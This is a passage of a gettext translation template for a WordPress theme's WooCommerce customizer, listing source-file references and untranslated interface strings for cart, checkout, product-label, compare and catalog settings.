
#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:104
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:847
#: inc/customizer/config/sections/woocommerce_checkout_section.php:124
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:806
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:612
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1117
#: inc/js_composer/shortcodes/login_form/settings.php:105
msgid "Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:121
msgid "Alt Button Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:129
msgid "Alt Button Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:137
msgid "Alt Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:145
msgid "Alt Button Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:154
msgid "Delete Item Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:162
msgid "Delete Item Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:169
msgid "Empty Cart Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:177
msgid "Empty Cart Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:185
msgid "Custom Content Before Cart Table"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:193
msgid "Custom Content After Cart Table"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:5
msgid "Side Cart Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:21
msgid "Heading Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:56
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:452
msgid "Price Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:63
msgid "Product Item Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:70
msgid "Product Item Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:77
msgid "Product Item Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:119
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:766
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:438
#: inc/elementor/modules/penci-button/widgets/penci-button.php:480
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:496
#: inc/js_composer/shortcodes/big_grid/settings.php:574
#: inc/js_composer/shortcodes/button_popup/settings.php:217
#: inc/js_composer/shortcodes/custom_sliders/settings.php:611
#: inc/js_composer/shortcodes/custom_sliders/settings.php:725
#: inc/js_composer/shortcodes/login_form/settings.php:98
msgid "Button Text Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:126
msgid "Footer Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:131
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:130
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:97
msgid "Product Item Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:139
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:478
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:518
msgid "Product Item Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:146
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:486
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:526
msgid "Product Item Price Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:154
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:496
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:535
msgid "Product Item Cat Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:161
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:504
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:543
msgid "Product Item Cat Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:167
msgid "Product Item Button Group Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:174
msgid "Product Item Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:182
msgid "Product Item Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:188
msgid "Product Item Button Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:196
msgid "Product Item Button Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:203
msgid "Product Item Overlay Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:204
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:210
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:233
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:241
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:249
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:257
msgid "Apply to Product Item style 5 & style 7"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:209
msgid "Product Item Overlay Opacity"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:232
msgid "Product Item Overlay Title Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:240
msgid "Product Item Overlay Link Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:248
msgid "Product Item Overlay Link Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:256
msgid "Product Item Overlay Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:264
msgid "Product Item Style 6 Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:271
msgid "Product Item Style 6 Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:278
msgid "Product Item Style 6 Title Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:285
msgid "Product Item Style 6 Link Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:292
msgid "Product Item Style 6 Link Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:299
msgid "Product Item Style 6 Price Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:306
msgid "Product Item Style 3 Add To Cart Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:313
msgid "Product Item Style 3 Add To Cart Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:320
msgid "Product Item Style 3 Add To Cart Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:327
msgid "Product Item Style 3 Add To Cart Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:334
msgid "Product Item Style 5 Add To Cart Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:341
msgid "Product Item Style 5 Add To Cart Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:348
msgid "Product Item Style 5 Add To Cart Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:355
msgid "Product Item Style 5 Add To Cart Hover Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:362
msgid "Product Item Style 5 Add To Cart Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:369
msgid "Product Item Style 5 Add To Cart Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:376
msgid "Product Item Style 4 Add To Cart Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:383
msgid "Product Item Style 4 Add To Cart Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:390
msgid "Product Item Style 4 Add To Cart Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:397
msgid "Product Item Style 4 Add To Cart Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:402
msgid "Product Stock Progress Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:410
msgid "Product Item Progress Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:417
msgid "Custom Progress Bar Height"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:418
msgid "Set a custom height of the progress bar."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:437
msgid "Product Item Progress Active Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:443
msgid "Product Category Loop Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:452
#: inc/elementor/base/base-widget.php:817
#: inc/js_composer/shortcodes/product/settings.php:391
msgid "Product Category Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:459
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:627
msgid "Product Meta Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:466
msgid "Product Overlay Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:471
msgid "Product Item Style (Apply for Related & Upsell Products)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:480
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:488
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:497
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:505
msgid "Apply for Upsell & Relate Products on Single Product Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:510
msgid "Product Item Style (Apply for Crossell Products)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:519
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:527
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:536
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:544
msgid "Apply for Crossell Products on Cart Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:549
msgid "Product Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:557
msgid "Product Page General Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:564
msgid "Product Page Links Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:571
msgid "Product Page Links Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:578
msgid "Product Page General Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:585
msgid "Swatches Button Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:592
msgid "Swatches Button Border Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:599
msgid "Swatches Button Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:606
msgid "Swatches Button Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:613
msgid "Add To Cart Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:620
msgid "Add To Cart Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:634
msgid "Product Meta Link Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:641
msgid "Product Meta Link Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:648
msgid "Product Tab Title Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:655
msgid "Product Tab Title Active Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:660
msgid "WooCommerce Additional Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:682
msgid "Button Background HoverColor"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:689
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:696
msgid "Secondary Button Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:701
msgid "Loading Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:709
msgid "Circle Loading First Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:716
msgid "Circle Loading Second Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:723
msgid "Checkout Page Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:748
#: inc/customizer/config/sections/woocommerce_checkout_section.php:25
#: inc/js_composer/shortcodes/pc_single_share/settings.php:85
msgid "Label Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:756
#: inc/customizer/config/sections/woocommerce_checkout_section.php:33
msgid "Form Input Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:764
#: inc/customizer/config/sections/woocommerce_checkout_section.php:41
msgid "Form Input Focus Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:772
#: inc/customizer/config/sections/woocommerce_checkout_section.php:49
msgid "Form Input Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:780
#: inc/customizer/config/sections/woocommerce_checkout_section.php:57
msgid "Form Input Focus Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:788
#: inc/customizer/config/sections/woocommerce_checkout_section.php:65
msgid "Order Form Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:796
#: inc/customizer/config/sections/woocommerce_checkout_section.php:73
msgid "Order Form Table Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:804
#: inc/customizer/config/sections/woocommerce_checkout_section.php:81
msgid "Order Form Table Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:812
#: inc/customizer/config/sections/woocommerce_checkout_section.php:89
msgid "Order Form Table Head Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:819
#: inc/customizer/config/sections/woocommerce_checkout_section.php:96
msgid "Order Form Table Accent Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:826
#: inc/customizer/config/sections/woocommerce_checkout_section.php:103
msgid "Order Form Table Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:861
#: inc/customizer/config/sections/woocommerce_checkout_section.php:138
msgid "Review Order Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:867
#: inc/customizer/config/sections/woocommerce_checkout_section.php:144
msgid "Custom Content Before Checkout Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:874
#: inc/customizer/config/sections/woocommerce_checkout_section.php:151
msgid "Custom Content After Checkout Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:881
msgid "Notices Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:890
msgid "Notice Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:898
msgid "Notice Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:6
msgid "Enable compare"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:7
msgid "Enable compare functionality built in with the theme."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:15
msgid "Hide Header Compare Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:22
msgid "Compare page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:23
msgid ""
"Select a page for the compare table. It should contain the shortcode: "
"[penci_compare_table]"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:32
#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:40
msgid "Show button on product grid"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:33
msgid "Display compare product button on all products grids and lists."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:84
msgid "Select compare fields"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:85
msgid "Check a fields display on compare page."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:92
#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:78
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:579
msgid "Quick Text Translate"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:100
msgid "Empty compare heading text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:106
msgid "Empty compare text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_compare_settings_section.php:107
msgid "Text will be displayed if user don't add any products to compare"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:8
msgid "Enable Slidebar Filter ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:15
msgid "Slidebar Filter Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:7
msgid "Show HOT label ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:8
msgid "Display HOT label on featured product."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:15
msgid "Select Label Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:19
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:104
#: inc/js_composer/shortcodes/social_counter/settings.php:204
#: inc/widgets/social_counter.php:358
msgid "Rectangle"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:26
msgid "Show Percentage on sale label ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:34
msgid "Show NEW label ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:35
msgid "Display NEW label on product."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:42
msgid "Automatic \"New\" label period"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:43
msgid ""
"Set a number of days to keep your products marked as \"New\" after creation."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:65
msgid "New Label Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:73
msgid "Hot Label Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:81
msgid "Sale Label Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_label_settings_section.php:89
msgid "Out of Stock Label Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:6
msgid "Disable Filter Trigger Auto Scroll"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:13
msgid "Enable Bottom Navigation"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:20
msgid "Select navigation menu item"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:25
msgid "Home Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:26
msgid "Shop Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:28
msgid "Account Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:29
msgid "Wishlist Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:30
msgid "Compare Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:31
msgid "Category Filter Panel"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:37
msgid "Show custom Navigation Menus"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:44
msgid "Select Custom Menu for Mobile Bottom Navigation"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:33
msgid "Sucess Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:41
msgid "Sucess Icon Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:48
msgid "Custom Thankyou Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:6
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:7
msgid "Total Products Display Per Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:26
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:26
msgid "Catalog Tools Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:32
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:32
msgid "Products Per Page Variations"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:40
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:40
msgid "Show Columns Selector on Shop page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:46
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:46
msgid "Shop products view"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:47
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:47
msgid "You can set different view mode for the shop page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:53
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:53
msgid "Grid/List"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:54
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:54
msgid "List/Grid"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:60
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:60
msgid "AJAX shop"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:61
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:61
msgid ""
"Enable AJAX functionality for filter widgets, categories navigation, and "
"pagination on the shop page."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:68
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:68
msgid "Scroll to top after AJAX"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:69
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:69
msgid "Disable - Enable scroll to top after AJAX."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:108
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:76
msgid "Product Item Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:115
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:82
msgid "Product Category Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:116
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:83
msgid ""
"Select the style of the category showing on archive/categories/tags/search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:131
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:98
msgid ""
"Select the style of the product showing on shop/archive/categories/tags/"
"search<br/>."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:148
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:116
msgid "Icon Hover Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:149
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:117
msgid "Select icon hover style on Product Item"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:153
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:120
msgid "Separate Round"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:154
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:121
msgid "Group in Rectangle"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:160
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:128
msgid "Icon Hover Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:161
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:129
msgid "Select icon hover position on Product Item"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:165
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:132
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:179
#: inc/js_composer/shortcodes/info_box/settings.php:53
msgid "Top left"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:169
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:136
#: inc/elementor/base/base-widget.php:751 inc/meta-box/register/page.php:551
#: inc/options/framework/fields/background/background.php:165
#: inc/template-builder/single-elements/relatedpost.php:660
#: inc/woocommerce/modules/metaboxes.php:206
msgid "Center Top"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:170
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:137
#: inc/dashboard/lib/meta-box/inc/fields/background.php:113
#: inc/options/framework/fields/background/background.php:166
msgid "Center Center"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:171
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:138
#: inc/elementor/base/base-widget.php:753 inc/meta-box/register/page.php:552
#: inc/options/framework/fields/background/background.php:167
#: inc/template-builder/single-elements/relatedpost.php:662
#: inc/woocommerce/modules/metaboxes.php:207
msgid "Center Bottom"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:177
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:145
msgid "Icon Hover Animation"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:178
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:146
msgid "Select icon hover animation on Product Item"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:182
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:149
msgid "Move to left"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:183
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:150
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1242
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1268
msgid "Move to Right"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:184
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:151
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1244
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1265
msgid "Move to Top"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:185
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:152
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1243
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1266
msgid "Move to Bottom"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:187
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:154
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1269
msgid "Zoom In"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:193
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:161
msgid "Enable Hover Image on Product Catalog ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:200
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:167
msgid "Show product category ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:201
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:168
msgid "Display product category link below the product title."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:209
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:176
msgid "Show product star rating ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:210
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:177
msgid "Display product loop rating below the product title."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:216
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:183
msgid "Login to see add to cart and prices"
msgstr ""

